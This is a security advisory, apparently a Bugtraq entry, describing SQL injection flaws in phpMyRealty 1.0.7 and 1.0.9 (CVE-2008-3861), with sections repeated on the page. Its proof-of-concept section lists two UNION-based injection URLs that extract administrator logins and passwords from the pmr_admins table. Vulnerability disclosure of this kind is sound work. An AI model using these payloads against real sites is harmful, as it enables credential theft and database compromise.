phpMyRealty Multiple SQL Injection Vulnerabilities
BID:30862
Info
phpMyRealty Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 30862 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3861 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 27 2008 12:00AM |
| Updated: | May 07 2015 05:24PM |
| Credit: | ~!Dok_tOR!~ |
| Vulnerable: |
phpMyRealty phpMyRealty 1.0.9 phpMyRealty phpMyRealty 1.0.7 |
| Not Vulnerable: | |
Discussion
phpMyRealty Multiple SQL Injection Vulnerabilities
phpMyRealty is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect phpMyRealty 1.0.7 and 1.0.9; other versions may also be affected.
phpMyRealty is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect phpMyRealty 1.0.7 and 1.0.9; other versions may also be affected.
Exploit / POC
phpMyRealty Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/[installdir]/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*
http://www.example.com/[installdir]/search.php?price_min=50000&price_max=-999999+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+pmr_admins/*
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/[installdir]/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*
http://www.example.com/[installdir]/search.php?price_min=50000&price_max=-999999+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+pmr_admins/*
Solution / Fix
phpMyRealty Multiple SQL Injection Vulnerabilities
Solution:
The vendor has released fixes. Please contact the vendor for details.
Solution:
The vendor has released fixes. Please contact the vendor for details.